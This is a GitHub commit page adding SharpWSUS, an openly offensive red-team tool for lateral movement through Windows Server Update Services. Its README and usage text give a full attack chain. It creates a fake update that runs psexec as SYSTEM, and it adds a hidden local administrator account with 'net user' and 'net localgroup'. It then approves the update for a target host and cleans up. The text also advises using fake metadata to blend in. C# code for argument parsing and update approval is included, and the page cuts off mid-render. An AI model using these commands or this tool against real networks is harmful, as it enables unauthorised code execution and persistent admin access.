-
Notifications
You must be signed in to change notification settings - Fork 41
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
cmahrl
committed
May 10, 2024
1 parent
1cb1b68
commit 966f429
Showing
28 changed files
with
1,891 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
.vs | ||
*.user | ||
[Dd]ebug/ | ||
[Rr]elease/ | ||
[Bb]in/ | ||
[Oo]bj/ | ||
.DS_Store | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
# SharpWSUS | ||
|
||
SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (https://labs.nettitude.com/blog/introducing-sharpwsus/) which has more detailed information about the tooling, use case and detection. | ||
|
||
## Credits | ||
|
||
Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility. | ||
|
||
* https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS | ||
* https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS | ||
|
||
## Help Menu | ||
|
||
``` | ||
____ _ __ ______ _ _ ____ | ||
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___| | ||
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ | ||
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) | | ||
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ | ||
|_| | ||
Phil Keeble @ Nettitude Red Team | ||
Commands listed below have optional parameters in <>. | ||
Locate the WSUS server: | ||
SharpWSUS.exe locate | ||
Inspect the WSUS server, enumerating clients, servers and existing groups: | ||
SharpWSUS.exe inspect | ||
Create an update (NOTE: The payload has to be a windows signed binary): | ||
SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]> | ||
Approve an update: | ||
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]> | ||
Check status of an update: | ||
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] | ||
Delete update and clean up groups added: | ||
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup> | ||
``` | ||
|
||
## Example Usage | ||
|
||
``` | ||
sharpwsus locate | ||
sharpwsus inspect | ||
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com" | ||
sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" | ||
sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local | ||
sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2" | ||
``` | ||
|
||
## Notes | ||
|
||
* Binary has to be windows signed, so psexec, msiexec, msbuild etc could be useful for lateral movement. | ||
* The metadata on the create command is not needed, but is useful for blending in to the environment. | ||
* If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
|
||
Microsoft Visual Studio Solution File, Format Version 12.00 | ||
# Visual Studio Version 16 | ||
VisualStudioVersion = 16.0.31410.357 | ||
MinimumVisualStudioVersion = 10.0.40219.1 | ||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWSUS", "SharpWSUS\SharpWSUS.csproj", "{42CABB74-1199-40F1-9354-6294BBA8D3A4}" | ||
EndProject | ||
Global | ||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
Debug|Any CPU = Debug|Any CPU | ||
Release|Any CPU = Release|Any CPU | ||
EndGlobalSection | ||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
{42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU | ||
{42CABB74-1199-40F1-9354-6294BBA8D3A4}.Debug|Any CPU.Build.0 = Debug|Any CPU | ||
{42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.ActiveCfg = Release|Any CPU | ||
{42CABB74-1199-40F1-9354-6294BBA8D3A4}.Release|Any CPU.Build.0 = Release|Any CPU | ||
EndGlobalSection | ||
GlobalSection(SolutionProperties) = preSolution | ||
HideSolutionNode = FALSE | ||
EndGlobalSection | ||
GlobalSection(ExtensibilityGlobals) = postSolution | ||
SolutionGuid = {B90B58CF-CCFC-47BB-A4B4-E2F83FD868BA} | ||
EndGlobalSection | ||
EndGlobal |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
using System.Collections.Generic; | ||
using System.Diagnostics; | ||
|
||
namespace SharpWSUS.Args | ||
{ | ||
public static class ArgumentParser | ||
{ | ||
public static ArgumentParserResult Parse(IEnumerable<string> args) | ||
{ | ||
var arguments = new Dictionary<string, string>(); | ||
try | ||
{ | ||
foreach (var argument in args) | ||
{ | ||
var idx = argument.IndexOf(':'); | ||
if (idx > 0) | ||
{ | ||
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); | ||
} | ||
else | ||
{ | ||
idx = argument.IndexOf('='); | ||
if (idx > 0) | ||
{ | ||
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); | ||
} | ||
else | ||
{ | ||
arguments[argument] = string.Empty; | ||
} | ||
} | ||
} | ||
|
||
return ArgumentParserResult.Success(arguments); | ||
} | ||
catch (System.Exception ex) | ||
{ | ||
Debug.WriteLine(ex.Message); | ||
return ArgumentParserResult.Failure(); | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
using System.Collections.Generic; | ||
|
||
namespace SharpWSUS.Args | ||
{ | ||
public class ArgumentParserResult | ||
{ | ||
public bool ParsedOk { get; } | ||
public Dictionary<string, string> Arguments { get; } | ||
|
||
private ArgumentParserResult(bool parsedOk, Dictionary<string, string> arguments) | ||
{ | ||
ParsedOk = parsedOk; | ||
Arguments = arguments; | ||
} | ||
|
||
public static ArgumentParserResult Success(Dictionary<string, string> arguments) | ||
=> new ArgumentParserResult(true, arguments); | ||
|
||
public static ArgumentParserResult Failure() | ||
=> new ArgumentParserResult(false, null); | ||
|
||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,49 @@ | ||
using System; | ||
using System.Collections.Generic; | ||
using SharpWSUS.Commands; | ||
|
||
namespace SharpWSUS.Args | ||
{ | ||
public class CommandCollection | ||
{ | ||
private readonly Dictionary<string, Func<ICommand>> _availableCommands = new Dictionary<string, Func<ICommand>>(); | ||
|
||
// How To Add A New Command: | ||
// 1. Create your command class in the Commands Folder | ||
// a. That class must have a CommandName static property that has the Command's name | ||
// and must also Implement the ICommand interface | ||
// b. Put the code that does the work into the Execute() method | ||
// 2. Add an entry to the _availableCommands dictionary in the Constructor below. | ||
|
||
public CommandCollection() | ||
{ | ||
_availableCommands.Add(Create.CommandName, () => new Create()); | ||
_availableCommands.Add(Approve.CommandName, () => new Approve()); | ||
_availableCommands.Add(Check.CommandName, () => new Check()); | ||
_availableCommands.Add(Delete.CommandName, () => new Delete()); | ||
_availableCommands.Add(Inspect.CommandName, () => new Inspect()); | ||
_availableCommands.Add(Locate.CommandName, () => new Locate()); | ||
|
||
} | ||
|
||
public bool ExecuteCommand(string commandName, Dictionary<string, string> arguments) | ||
{ | ||
bool commandWasFound; | ||
|
||
if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false) | ||
commandWasFound= false; | ||
else | ||
{ | ||
// Create the command object | ||
var command = _availableCommands[commandName].Invoke(); | ||
|
||
// and execute it with the arguments from the command line | ||
command.Execute(arguments); | ||
|
||
commandWasFound = true; | ||
} | ||
|
||
return commandWasFound; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
using System; | ||
|
||
namespace SharpWSUS.Args | ||
{ | ||
public static class Info | ||
{ | ||
public static void ShowLogo() | ||
{ | ||
string logo = @" | ||
____ _ __ ______ _ _ ____ | ||
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___| | ||
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \ | ||
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) | | ||
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/ | ||
|_| | ||
Phil Keeble @ Nettitude Red Team | ||
"; | ||
Console.WriteLine(logo); | ||
} | ||
|
||
public static void ShowUsage() | ||
{ | ||
string usage = @" | ||
Commands listed below have optional parameters in <>. | ||
Locate the WSUS server: | ||
SharpWSUS.exe locate | ||
Inspect the WSUS server, enumerating clients, servers and existing groups: | ||
SharpWSUS.exe inspect | ||
Create an update (NOTE: The payload has to be a windows signed binary): | ||
SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]> | ||
Approve an update: | ||
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]> | ||
Check status of an update: | ||
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN] | ||
Delete update and clean up groups added: | ||
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup> | ||
##### Examples ###### | ||
Executing whoami as SYSTEM on a remote machine: | ||
SharpWSUS.exe inspect | ||
SharpWSUS.exe create /payload:""C:\Users\Test\Documents\psexec.exe"" /args:""-accepteula -s -d cmd.exe /c """"whoami > C:\test.txt"""""" /title:""Great Update"" /date:2021-10-03 /kb:500123 /rating:Important /description:""Really important update"" /url:""https://google.com"" | ||
SharpWSUS.exe approve /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" | ||
SharpWSUS.exe check /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 | ||
SharpWSUS.exe delete /updateid:93646c49-7d21-4576-9922-9cbcce9f8553 /computername:test1 /groupname:""Great Group"" | ||
"; | ||
Console.WriteLine(usage); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,81 @@ | ||
using System; | ||
using System.Data.SqlClient; | ||
using System.Collections.Generic; | ||
|
||
namespace SharpWSUS.Commands | ||
{ | ||
public class Approve : ICommand | ||
{ | ||
|
||
public static string CommandName => "approve"; | ||
|
||
public void Execute(Dictionary<string, string> arguments) | ||
{ | ||
Console.WriteLine("[*] Action: Approve Update"); | ||
|
||
string UpdateID = ""; | ||
string ComputerName = ""; | ||
string GroupName = "InjectGroup"; | ||
string Approver = "WUS Server"; | ||
Group.GroupExists = false; | ||
|
||
if (arguments.ContainsKey("/updateid")) | ||
{ | ||
UpdateID = arguments["/updateid"]; | ||
} | ||
|
||
if (arguments.ContainsKey("/computername")) | ||
{ | ||
ComputerName = arguments["/computername"]; | ||
} | ||
|
||
if (arguments.ContainsKey("/groupname")) | ||
{ | ||
GroupName = arguments["/groupname"]; | ||
} | ||
|
||
if (arguments.ContainsKey("/approver")) | ||
{ | ||
Approver = arguments["/approver"]; | ||
} | ||
|
||
Server.GetServerDetails(); | ||
SqlCommand sqlComm = new SqlCommand(); | ||
sqlComm.Connection = Connect.FsqlConnection(); | ||
|
||
ClGuid.GenerateTargetGroupGUID(); | ||
|
||
if (!Group.FbGetComputerTarget(sqlComm, ComputerName)) | ||
{ | ||
return; | ||
} | ||
|
||
if (!Group.FbGetGroupID(sqlComm, GroupName)) | ||
{ | ||
return; | ||
} | ||
|
||
Console.WriteLine("Group Exists = {0}", Group.GroupExists); | ||
if (Group.GroupExists == false) | ||
{ | ||
if (!Group.FbCreateGroup(sqlComm, GroupName)) | ||
{ | ||
return; | ||
} | ||
} | ||
|
||
if (!Group.FbAddComputerToGroup(sqlComm, Server.sTargetComputerTargetID)) | ||
{ | ||
return; | ||
} | ||
|
||
if (!Status.FbApproveUpdate(sqlComm, UpdateID, Approver)) | ||
{ | ||
return; | ||
} | ||
|
||
Console.WriteLine("\r\n[*] Approve complete\r\n"); | ||
return; | ||
} | ||
} | ||
} |
Oops, something went wrong.